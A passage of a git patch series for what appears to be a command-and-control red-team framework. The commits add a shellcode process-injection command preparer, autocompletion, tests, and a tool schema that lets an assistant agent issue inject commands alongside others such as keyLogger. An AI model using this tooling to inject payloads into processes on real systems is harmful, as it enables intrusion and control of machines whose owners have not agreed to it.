fs::create_directories(fs::path(runtimeConfig.windowsModulesDirectoryPath) / arch); @@ -189,6 +192,53 @@ void testCatalogFiltersArtifacts() assert(artifacts[0].name == "linuxmod.so"); } +void testCatalogIndexesAndDeletesGeneratedArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("generated")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + TeamServerGeneratedArtifactStore store(runtimeConfig); + TeamServerGeneratedArtifactRequest request; + request.nameHint = "Rubeus.exe.bin"; + request.bytes = "generated-shellcode"; + request.category = "payload"; + request.scope = "generated"; + request.target = "beacon"; + request.platform = "windows"; + request.arch = "x64"; + request.format = "bin"; + request.runtime = "shellcode"; + request.source = "donut"; + request.description = "Generated shellcode for assemblyExec."; + const TeamServerGeneratedArtifactRecord record = store.store(request); + assert(!record.artifactId.empty()); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "payload"; + query.scope = "generated"; + query.runtime = "shellcode"; + std::vector artifacts = catalog.listArtifacts(query); + + assert(artifacts.size() == 1); + assert(artifacts[0].artifactId == record.artifactId); + assert(artifacts[0].displayName == "Rubeus.exe.bin"); + assert(artifacts[0].source == "donut"); + assert(artifacts[0].size == static_cast(request.bytes.size())); + assert(artifacts[0].sha256 == record.sha256); + + std::string message; + assert(catalog.deleteGeneratedArtifact(record.artifactId, message)); + assert(message == "Generated artifact deleted."); + assert(!fs::exists(record.path)); + assert(!fs::exists(record.path + ".artifact.json")); + + artifacts = catalog.listArtifacts(query); + assert(artifacts.empty()); + assert(!catalog.deleteGeneratedArtifact(record.artifactId, message)); + assert(message == "Generated artifact not found."); +} + void testArtifactServiceStreamsPublicMetadataOnly() { ScopedPath tempRoot(makeTempDirectory("service")); @@ -215,12 +265,42 @@ void testArtifactServiceStreamsPublicMetadataOnly() assert(summaries[0].sha256().size() == 64); assert(summaries[0].DebugString().find(tempRoot.path().string()) == std::string::npos); } + +void testArtifactServiceDeletesGeneratedArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("service-delete")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + TeamServerGeneratedArtifactStore store(runtimeConfig); + TeamServerGeneratedArtifactRequest request; + request.nameHint = "Seatbelt.exe.bin"; + request.bytes = "service-generated-shellcode"; + request.source = "donut"; + const TeamServerGeneratedArtifactRecord record = store.store(request); + assert(!record.artifactId.empty()); + + TeamServerArtifactService service(makeLogger(), TeamServerArtifactCatalog(runtimeConfig)); + teamserverapi::ArtifactSelector selector; + selector.set_artifact_id(record.artifactId); + teamserverapi::OperationAck response; + assert(service.deleteGeneratedArtifact(selector, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.message() == "Generated artifact deleted."); + assert(!fs::exists(record.path)); + + teamserverapi::OperationAck missingResponse; + assert(service.deleteGeneratedArtifact(selector, &missingResponse).ok()); + assert(missingResponse.status() == teamserverapi::KO); + assert(missingResponse.message() == "Generated artifact not found."); +} } // namespace int main() { testCatalogIndexesReleaseRoots(); testCatalogFiltersArtifacts(); + testCatalogIndexesAndDeletesGeneratedArtifacts(); testArtifactServiceStreamsPublicMetadataOnly(); + testArtifactServiceDeletesGeneratedArtifacts(); return 0; } From 341d7e81dd4e00a1416093db8ce7fc24804116e4 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 18:51:09 +0200 Subject: [PATCH 33/82] Inject --- C2Client/C2Client/ConsolePanel.py | 18 ++- .../assistant_agent/tools/schemas/inject.json | 17 ++- .../assistant_agent/test_command_builder.py | 2 +- C2Client/tests/test_console_panel.py | 36 +++++ core | 2 +- packaging/validate_release.py | 1 + teamServer/CMakeLists.txt | 1 + teamServer/teamServer/TeamServer.cpp | 7 + .../TeamServerInjectCommandPreparer.cpp | 136 ++++++++++++++++++ .../TeamServerInjectCommandPreparer.hpp | 35 +++++ ...amServerCommandPreparationServiceTests.cpp | 85 +++++++++++ 11 files changed, 324 insertions(+), 16 deletions(-) create mode 100644 teamServer/teamServer/TeamServerInjectCommandPreparer.cpp create mode 100644 teamServer/teamServer/TeamServerInjectCommandPreparer.hpp diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index de261d7..4fa5ef2 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -180,8 +180,13 @@ def _argument_artifact_completion_values(artifact: Any) -> list[str]: ]) -def _artifact_value_continuations(arg: Any) -> list[str]: +def _artifact_value_continuations(arg: Any, command_name: str = "") -> list[str]: name = _arg_name(arg) + if command_name == "inject": + if name == "--donut-dll": + return ["--pid", "--method"] + if name in {"--raw", "--donut-exe"}: + return ["--pid"] if name == "--donut-exe": return ["--"] if name == "--donut-dll": @@ -194,8 +199,9 @@ def _add_artifact_completions( grpcClient: Any, arg: Any, session: Any | None, + command_name: str = "", ) -> None: - continuations = _artifact_value_continuations(arg) + continuations = _artifact_value_continuations(arg, command_name) for artifact in _load_artifacts_for_arg(grpcClient, arg, session): for value in _argument_artifact_completion_values(artifact): _add_completion_value(children, value) @@ -211,6 +217,7 @@ def _build_flag_entries( session: Any | None = None, *, include_context_only: bool = False, + command_name: str = "", ) -> list[tuple[str, list]]: entries: list[tuple[str, list]] = [] for arg in args: @@ -226,7 +233,7 @@ def _build_flag_entries( continue for value in getattr(arg, "values", []): _add_completion_value(flag_entry[1], value) - _add_artifact_completions(flag_entry[1], grpcClient, arg, session) + _add_artifact_completions(flag_entry[1], grpcClient, arg, session, command_name) return entries @@ -254,7 +261,8 @@ def _add_arg_completions( session: Any | None = None, ) -> None: args = list(getattr(command, "args", [])) - flag_entries = _build_flag_entries(args, grpcClient, session) + command_name = str(getattr(command, "name", "") or "") + flag_entries = _build_flag_entries(args, grpcClient, session, command_name=command_name) _merge_completion_entries(children, flag_entries) _add_mode_value_flag_completions(children, args, grpcClient, session) @@ -267,7 +275,7 @@ def _add_arg_completions( continue for value in getattr(arg, "values", []): _add_completion_value(children, value) - _add_artifact_completions(children, grpcClient, arg, session) + _add_artifact_completions(children, grpcClient, arg, session, command_name) first_positional_done = True diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/inject.json b/C2Client/C2Client/assistant_agent/tools/schemas/inject.json index 298afef..d565853 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/inject.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/inject.json @@ -1,7 +1,7 @@ { "name": "inject", - "description": "Inject raw shellcode or Donut-generated payload into a process.", - "command_template": "inject {payload_type} {input_file:q} {pid} {method:q?} {arguments:raw?}", + "description": "Inject raw shellcode or TeamServer-generated shellcode into a process.", + "command_template": "inject {payload_type} {input_file:q} --pid {pid} [--method {method:q}] {arguments:raw?}", "parameters": { "type": "object", "properties": { @@ -15,11 +15,11 @@ }, "payload_type": { "type": "string", - "description": "Payload source type accepted by init(): -r raw shellcode, -e .NET executable, or -d .NET DLL.", + "description": "Payload source flag: --raw for shellcode, --donut-exe for an executable, or --donut-dll for a DLL.", "enum": [ - "-r", - "-e", - "-d" + "--raw", + "--donut-exe", + "--donut-dll" ] }, "input_file": { @@ -28,12 +28,11 @@ }, "pid": { "type": "integer", - "description": "Target process id.", - "minimum": 0 + "description": "Target process id. Use a negative value to spawn the configured process before injection." }, "method": { "type": "string", - "description": "DLL method name. Required only when payload_type is -d.", + "description": "DLL method name. Required only when payload_type is --donut-dll.", "default": "" }, "arguments": { diff --git a/C2Client/tests/assistant_agent/test_command_builder.py b/C2Client/tests/assistant_agent/test_command_builder.py index 7a6a889..46e6e7c 100644 --- a/C2Client/tests/assistant_agent/test_command_builder.py +++ b/C2Client/tests/assistant_agent/test_command_builder.py @@ -72,7 +72,7 @@ def test_build_command_line_rejects_missing_required_argument(): ("enumerateShares", {"host": "fileserver"}, "enumerateShares fileserver"), ("evasion", {"action": "ReadMemory", "address": "0x1234", "value": "16"}, "evasion ReadMemory 0x1234 16"), ("getEnv", {}, "getEnv"), - ("inject", {"payload_type": "-d", "input_file": "payload.dll", "pid": 4242, "method": "Run", "arguments": "a b"}, "inject -d payload.dll 4242 Run a b"), + ("inject", {"payload_type": "--donut-dll", "input_file": "payload.dll", "pid": 4242, "method": "Run", "arguments": "a b"}, "inject --donut-dll payload.dll --pid 4242 --method Run a b"), ("ipConfig", {}, "ipConfig"), ("kerberosUseTicket", {"ticket_file": "/tmp/ticket.kirbi"}, "kerberosUseTicket /tmp/ticket.kirbi"), ("keyLogger", {"action": "start"}, "keyLogger start"), diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 4f648df..9da7a2f 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -347,6 +347,8 @@ def listArtifacts(self, query): ]) if query.name_contains == ".dll": return iter([SimpleNamespace(name="Tools/Example.dll", display_name="Example.dll")]) + if query.name_contains == ".bin": + return iter([SimpleNamespace(name="payloads/loader.bin", display_name="loader.bin")]) return iter([]) artifact_filter_exe = SimpleNamespace( @@ -367,6 +369,15 @@ def listArtifacts(self, query): runtime="any", name_contains=".dll", ) + artifact_filter_bin = SimpleNamespace( + category="tool", + scope="server", + target="teamserver", + platform="windows", + arch="", + runtime="any", + name_contains=".bin", + ) assembly_spec = SimpleNamespace( name="assemblyExec", kind="module", @@ -414,6 +425,31 @@ def listArtifacts(self, query): assert grpc.queries[0].runtime == "any" assert grpc.queries[0].name_contains == ".exe" + inject_spec = SimpleNamespace( + name="inject", + kind="module", + examples=[ + "inject --raw loader.bin --pid 4321", + "inject --donut-exe Seatbelt.exe --pid 4321 -- arg", + "inject --donut-dll Tool.dll --pid -1 --method EntryPoint -- arg", + ], + args=[ + SimpleNamespace(name="--pid", type="flag", values=[]), + SimpleNamespace(name="--raw", type="flag", values=[], artifact_filter=artifact_filter_bin), + SimpleNamespace(name="--donut-exe", type="flag", values=[], artifact_filter=artifact_filter_exe), + SimpleNamespace(name="--donut-dll", type="flag", values=[], artifact_filter=artifact_filter_dll), + SimpleNamespace(name="--method", type="flag", values=[]), + ], + ) + + server_data = command_specs_to_completer_data([inject_spec], grpcClient=grpc) + inject_children = _completion_children(server_data, "inject") + raw_children = _completion_children(inject_children, "--raw") + assert ("--pid", []) in _completion_children(raw_children, "payloads/loader.bin") + inject_dll_children = _completion_children(inject_children, "--donut-dll") + assert ("--pid", []) in _completion_children(inject_dll_children, "Tools/Example.dll") + assert ("--method", []) in _completion_children(inject_dll_children, "Tools/Example.dll") + def test_contextual_completer_uses_artifacts_listeners_and_module_specs(): class FakeGrpc: diff --git a/core b/core index 9b72807..80a92ee 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 9b72807514b9c7836bfb43af4745fccb3ffca395 +Subproject commit 80a92ee7eba04dad069fcdad91a47b4a93cf4be1 diff --git a/packaging/validate_release.py b/packaging/validate_release.py index 55de273..5708cd6 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -259,6 +259,7 @@ def validate_base_release(release_root: Path) -> None: _require_non_empty_file(command_specs_root / "modules" / "netstat.json") _require_non_empty_file(command_specs_root / "modules" / "shell.json") _require_non_empty_file(command_specs_root / "modules" / "assemblyExec.json") + _require_non_empty_file(command_specs_root / "modules" / "inject.json") _require_non_empty_file(client_root / "README.md") _require_non_empty_file(client_root / "pyproject.toml") diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index ebbcf1c..d0f147b 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -12,6 +12,7 @@ set(TEAMSERVER_CORE_SOURCES teamServer/TeamServerCommandPreparationService.cpp teamServer/TeamServerGeneratedArtifactStore.cpp teamServer/TeamServerHelpService.cpp + teamServer/TeamServerInjectCommandPreparer.cpp teamServer/TeamServerListenerArtifactService.cpp teamServer/TeamServerModuleLoader.cpp teamServer/TeamServerShellcodeService.cpp diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 545073b..5ce713a 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -10,6 +10,7 @@ #include "TeamServerCommandPreparationService.hpp" #include "TeamServerGeneratedArtifactStore.hpp" #include "TeamServerHelpService.hpp" +#include "TeamServerInjectCommandPreparer.hpp" #include "TeamServerListenerArtifactService.hpp" #include "TeamServerListenerSessionService.hpp" #include "TeamServerModuleLoader.hpp" @@ -97,6 +98,12 @@ TeamServer::TeamServer(const nlohmann::json& config) m_shellcodeService, m_generatedArtifactStore, m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + runtimeConfig, + m_shellcodeService, + m_generatedArtifactStore, + m_moduleCmd)); m_commandPreparationService = std::make_unique( m_logger, runtimeConfig, diff --git a/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp b/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp new file mode 100644 index 0000000..10a8822 --- /dev/null +++ b/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp @@ -0,0 +1,136 @@ +#include "TeamServerInjectCommandPreparer.hpp" + +#include +#include + +#include "modules/Inject/InjectCommandOptions.hpp" + +namespace fs = std::filesystem; + +namespace +{ +std::string resolveSourcePath( + const TeamServerRuntimeConfig& runtimeConfig, + const std::string& path, + const std::string& windowsArch) +{ + if (path.empty()) + return ""; + if (fs::exists(path)) + return path; + + fs::path toolPath = fs::path(runtimeConfig.toolsDirectoryPath) / path; + if (fs::exists(toolPath)) + return toolPath.string(); + + fs::path beaconPath = fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / path; + if (fs::exists(beaconPath)) + return beaconPath.string(); + + fs::path archBeaconPath = fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / windowsArch / path; + if (fs::exists(archBeaconPath)) + return archBeaconPath.string(); + + return path; +} + +ModuleCmd* findModule(std::vector>& modules, const std::string& name) +{ + const std::string loweredName = inject_command::lowerCopy(name); + for (const auto& module : modules) + { + if (module && inject_command::lowerCopy(module->getName()) == loweredName) + return module.get(); + } + return nullptr; +} +} // namespace + +TeamServerInjectCommandPreparer::TeamServerInjectCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_runtimeConfig(std::move(runtimeConfig)), + m_shellcodeService(std::move(shellcodeService)), + m_artifactStore(std::move(artifactStore)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerInjectCommandPreparer::canPrepare(const std::string& instruction) const +{ + return inject_command::lowerCopy(instruction) == "inject"; +} + +TeamServerCommandPreparerResult TeamServerInjectCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + inject_command::CommandOptions options = inject_command::parseCommandOptions(context.tokens); + if (!options.error.empty()) + { + c2Message.set_returnvalue(options.error + "\n"); + return result; + } + + if (!m_shellcodeService || !m_artifactStore) + { + c2Message.set_returnvalue("Shellcode preparation service is not available.\n"); + return result; + } + + TeamServerShellcodeRequest shellcodeRequest; + shellcodeRequest.generator = options.generator; + shellcodeRequest.sourcePath = resolveSourcePath(m_runtimeConfig, options.sourcePath, context.windowsArch); + shellcodeRequest.sourceType = options.sourceType; + shellcodeRequest.arch = context.windowsArch; + shellcodeRequest.method = options.method; + shellcodeRequest.arguments = options.arguments; + shellcodeRequest.exitPolicy = "process"; + + TeamServerShellcodeResult shellcode = m_shellcodeService->generate(shellcodeRequest); + if (!shellcode.ok) + { + c2Message.set_returnvalue(shellcode.message + "\n"); + return result; + } + + TeamServerGeneratedArtifactRequest artifactRequest; + artifactRequest.nameHint = "inject-" + fs::path(shellcodeRequest.sourcePath).filename().string() + ".bin"; + artifactRequest.bytes = shellcode.bytes; + artifactRequest.platform = context.isWindows ? "windows" : "linux"; + artifactRequest.arch = context.isWindows ? context.windowsArch : "any"; + artifactRequest.source = shellcode.generator; + artifactRequest.description = "Generated shellcode for inject."; + artifactRequest.tags = {"inject", shellcode.sourceType}; + TeamServerGeneratedArtifactRecord artifact = m_artifactStore->store(artifactRequest); + if (artifact.path.empty()) + { + c2Message.set_returnvalue("Could not store generated shellcode artifact.\n"); + return result; + } + + ModuleCmd* module = findModule(m_moduleCmd, "inject"); + if (!module) + { + c2Message.set_returnvalue("Module inject not found.\n"); + return result; + } + + ModulePreparedShellcodeTask task; + task.inputFile = artifact.path; + task.payload = shellcode.bytes; + task.pid = options.pid; + task.displayCommand = options.displayCommand; + result.status = module->initPreparedShellcode(task, c2Message); + if (result.status == 0 && m_logger) + m_logger->info("inject prepared shellcode artifact {}", artifact.path); + return result; +} diff --git a/teamServer/teamServer/TeamServerInjectCommandPreparer.hpp b/teamServer/teamServer/TeamServerInjectCommandPreparer.hpp new file mode 100644 index 0000000..c3704fa --- /dev/null +++ b/teamServer/teamServer/TeamServerInjectCommandPreparer.hpp @@ -0,0 +1,35 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerRuntimeConfig.hpp" +#include "TeamServerShellcodeService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerInjectCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerInjectCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + std::shared_ptr m_logger; + TeamServerRuntimeConfig m_runtimeConfig; + std::shared_ptr m_shellcodeService; + std::shared_ptr m_artifactStore; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index 715800f..266c7e6 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -9,6 +9,7 @@ #include "TeamServerArtifactCatalog.hpp" #include "TeamServerCommandPreparationService.hpp" #include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerInjectCommandPreparer.hpp" #include "TeamServerShellcodeService.hpp" namespace fs = std::filesystem; @@ -97,6 +98,7 @@ class FakeShellcodeModule final : public ModuleCmd c2Message.set_instruction(getName()); c2Message.set_cmd(task.displayCommand); c2Message.set_args(task.executionMode); + c2Message.set_pid(task.pid); c2Message.set_inputfile(task.inputFile); c2Message.set_data(task.payload); return 0; @@ -318,6 +320,87 @@ void testPrepareAssemblyExecDonutReportsMissingSource() assert(service.prepareMessage("assemblyExec --mode thread --donut-exe missing.exe", message, true, "x64") == -1); assert(message.returnvalue().find("Couldn't open Donut source file.") != std::string::npos); } + +void testPrepareInjectUsesShellcodeServiceAndGeneratedArtifactStore() +{ + ScopedPath tempRoot(makeTempDirectory("inject-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "payload.bin", "INJECT-SHELLCODE"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("inject")); + + auto shellcodeService = std::make_shared(makeLogger()); + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + assert(service.prepareMessage("inject --raw payload.bin --pid 4321", message, true, "amd64") == 0); + assert(message.instruction() == "inject"); + assert(message.pid() == 4321); + assert(message.data() == "INJECT-SHELLCODE"); + assert(message.cmd() == "--raw payload.bin --pid 4321"); + assert(message.inputfile().find("GeneratedArtifacts") != std::string::npos); + assert(fs::exists(message.inputfile())); + assert(fs::exists(message.inputfile() + ".artifact.json")); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "payload"; + query.scope = "generated"; + query.runtime = "shellcode"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + assert(artifacts[0].source == "raw"); + assert(artifacts[0].platform == "windows"); + assert(artifacts[0].arch == "x64"); + assert(artifacts[0].description == "Generated shellcode for inject."); +} + +void testPrepareInjectDonutReportsMissingSource() +{ + ScopedPath tempRoot(makeTempDirectory("inject-donut-missing")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("inject")); + + auto shellcodeService = std::make_shared(makeLogger()); + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + assert(service.prepareMessage("inject --donut-exe missing.exe --pid 4321 -- arg1", message, true, "x64") == -1); + assert(message.returnvalue().find("Couldn't open Donut source file.") != std::string::npos); +} } // namespace int main() @@ -328,5 +411,7 @@ int main() testPrepareLoadModuleUsesWindowsSessionArchitecture(); testPrepareAssemblyExecUsesShellcodeServiceAndGeneratedArtifactStore(); testPrepareAssemblyExecDonutReportsMissingSource(); + testPrepareInjectUsesShellcodeServiceAndGeneratedArtifactStore(); + testPrepareInjectDonutReportsMissingSource(); return 0; } From 42c98355f931317b1d9335bcb643a9834aa631c6 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 19:28:17 +0200 Subject: [PATCH 34/82] Autocomplet --- C2Client/C2Client/ConsolePanel.py | 64 ++++++++++++++++++++++++++-- C2Client/tests/test_console_panel.py | 42 ++++++++++++++++-- 2 files changed, 99 insertions(+), 7 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 4fa5ef2..469dec9 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -82,6 +82,7 @@ "listprocesses": "ps", "printworkingdirectory": "pwd", } +PID_COMPLETION_PLACEHOLDER = "" def _completion_suffix(command_name: Any, example: Any): @@ -173,6 +174,14 @@ def _source_flag_args(args: list[Any]) -> list[Any]: ] +def _inject_payload_flag_args(args: list[Any]) -> list[Any]: + return [ + arg + for arg in args + if _arg_name(arg) in {"--raw", "--donut-exe", "--donut-dll"} + ] + + def _argument_artifact_completion_values(artifact: Any) -> list[str]: return _dedupe_values([ str(getattr(artifact, "name", "") or "").strip(), @@ -184,9 +193,12 @@ def _artifact_value_continuations(arg: Any, command_name: str = "") -> list[str] name = _arg_name(arg) if command_name == "inject": if name == "--donut-dll": - return ["--pid", "--method"] + return ["--pid", "--method", "--"] if name in {"--raw", "--donut-exe"}: - return ["--pid"] + continuations = ["--pid"] + if name == "--donut-exe": + continuations.append("--") + return continuations if name == "--donut-exe": return ["--"] if name == "--donut-dll": @@ -194,6 +206,24 @@ def _artifact_value_continuations(arg: Any, command_name: str = "") -> list[str] return [] +def _add_inject_pid_continuations(children: list[tuple[str, list]], arg: Any) -> None: + pid_entry = _find_entry(children, "--pid") + if pid_entry is None: + return + + _add_completion_path(pid_entry[1], [PID_COMPLETION_PLACEHOLDER]) + value_entry = _find_entry(pid_entry[1], PID_COMPLETION_PLACEHOLDER) + if value_entry is None: + return + + name = _arg_name(arg) + if name == "--donut-exe": + _add_completion_value(value_entry[1], "--") + elif name == "--donut-dll": + _add_completion_value(value_entry[1], "--method") + _add_completion_value(value_entry[1], "--") + + def _add_artifact_completions( children: list[tuple[str, list]], grpcClient: Any, @@ -209,6 +239,8 @@ def _add_artifact_completions( if artifact_entry is not None: for continuation in continuations: _add_completion_value(artifact_entry[1], continuation) + if command_name == "inject": + _add_inject_pid_continuations(artifact_entry[1], arg) def _build_flag_entries( @@ -234,6 +266,18 @@ def _build_flag_entries( for value in getattr(arg, "values", []): _add_completion_value(flag_entry[1], value) _add_artifact_completions(flag_entry[1], grpcClient, arg, session, command_name) + + if command_name == "inject" and name == "--pid": + _add_completion_path(flag_entry[1], [PID_COMPLETION_PLACEHOLDER]) + value_entry = _find_entry(flag_entry[1], PID_COMPLETION_PLACEHOLDER) + if value_entry is not None: + payload_flags = _build_flag_entries( + _inject_payload_flag_args(args), + grpcClient, + session, + command_name=command_name, + ) + _merge_completion_entries(value_entry[1], payload_flags) return entries @@ -1283,16 +1327,28 @@ class CodeCompleter(QCompleter): def __init__(self, data, parent=None): super().__init__(parent) + self.placeholderValues: dict[str, str] = {} self.createModel(data) def updateData(self, data): self.createModel(data) def splitPath(self, path): - return path.split(' ') + parts = path.split(' ') + self.placeholderValues = {} + if parts and parts[0] == "inject": + for index, part in enumerate(parts[:-1]): + if part == "--pid" and parts[index + 1]: + self.placeholderValues[PID_COMPLETION_PLACEHOLDER] = parts[index + 1] + parts[index + 1] = PID_COMPLETION_PLACEHOLDER + break + return parts def pathFromIndex(self, ix): - return ix.data(CodeCompleter.ConcatenationRole) + value = ix.data(CodeCompleter.ConcatenationRole) + for placeholder, replacement in self.placeholderValues.items(): + value = value.replace(placeholder, replacement) + return value def createModel(self, data): def addItems(parent, elements, t=""): diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 9da7a2f..eac1c3f 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -7,7 +7,7 @@ import sys sys.modules['grpcClient'] = grpc_client_module -from C2Client.ConsolePanel import CommandEditor, Console, ConsolesTab, build_completer_data, command_specs_to_completer_data +from C2Client.ConsolePanel import CodeCompleter, CommandEditor, Console, ConsolesTab, build_completer_data, command_specs_to_completer_data from C2Client.grpcClient import TeamServerApi_pb2 @@ -445,10 +445,46 @@ def listArtifacts(self, query): server_data = command_specs_to_completer_data([inject_spec], grpcClient=grpc) inject_children = _completion_children(server_data, "inject") raw_children = _completion_children(inject_children, "--raw") - assert ("--pid", []) in _completion_children(raw_children, "payloads/loader.bin") + assert _completion_children(raw_children, "payloads/loader.bin") + assert _completion_children(_completion_children(raw_children, "payloads/loader.bin"), "--pid") + assert ("--", []) in _completion_children(_completion_children(inject_children, "--donut-exe"), "SharpHound.exe") inject_dll_children = _completion_children(inject_children, "--donut-dll") - assert ("--pid", []) in _completion_children(inject_dll_children, "Tools/Example.dll") + assert _completion_children(_completion_children(inject_dll_children, "Tools/Example.dll"), "--pid") assert ("--method", []) in _completion_children(inject_dll_children, "Tools/Example.dll") + assert ("--", []) in _completion_children(inject_dll_children, "Tools/Example.dll") + exe_payload_children = _completion_children(_completion_children(inject_children, "--donut-exe"), "SharpHound.exe") + exe_payload_pid_children = _completion_children(exe_payload_children, "--pid") + assert ("--", []) in _completion_children(exe_payload_pid_children, "") + + pid_children = _completion_children(inject_children, "--pid") + pid_value_children = _completion_children(pid_children, "") + assert _completion_children(pid_value_children, "--raw") + assert _completion_children(pid_value_children, "--donut-exe") + pid_first_exe_children = _completion_children(pid_value_children, "--donut-exe") + assert ("--", []) in _completion_children(pid_first_exe_children, "SharpHound.exe") + + completer = CodeCompleter(server_data) + assert completer.splitPath("inject --pid 4321 --donut-exe ") == [ + "inject", + "--pid", + "", + "--donut-exe", + "", + ] + assert completer.splitPath("inject --donut-exe SharpHound.exe --pid 4321 ") == [ + "inject", + "--donut-exe", + "SharpHound.exe", + "--pid", + "", + "", + ] + model = completer.model() + inject_item = next(model.item(row) for row in range(model.rowCount()) if model.item(row).text() == "inject") + pid_item = next(inject_item.child(row) for row in range(inject_item.rowCount()) if inject_item.child(row).text() == "--pid") + pid_value_item = next(pid_item.child(row) for row in range(pid_item.rowCount()) if pid_item.child(row).text() == "") + raw_item = next(pid_value_item.child(row) for row in range(pid_value_item.rowCount()) if pid_value_item.child(row).text() == "--raw") + assert completer.pathFromIndex(raw_item.index()) == "inject --pid 4321 --raw" def test_contextual_completer_uses_artifacts_listeners_and_module_specs(): From 66ba6f41e19d6e8ff7359508101dc7e1fff44501 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 19:41:18 +0200 Subject: [PATCH 35/82] InjectTests --- core | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core b/core index 80a92ee..3e64dd1 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 80a92ee7eba04dad069fcdad91a47b4a93cf4be1 +Subproject commit 3e64dd13c29b6cc8adb70d94e3669b797db8e433 From 0f7aa65043f4082ca9afcd71b93bd6e79640b4d2 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 20:52:36 +0200 Subject: [PATCH 36/82] Spec modules --- core | 2 +- packaging/tests/test_validate_release.py | 54 ++++++++++++++++ packaging/validate_release.py | 80 +++++++++++++++++------- 3 files changed, 111 insertions(+), 25 deletions(-) create mode 100644 packaging/tests/test_validate_release.py diff --git a/core b/core index 3e64dd1..aaf1aab 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 3e64dd13c29b6cc8adb70d94e3669b797db8e433 +Subproject commit aaf1aabe462bdaddbe1b2f8124ddc7280f8e58bf diff --git a/packaging/tests/test_validate_release.py b/packaging/tests/test_validate_release.py new file mode 100644 index 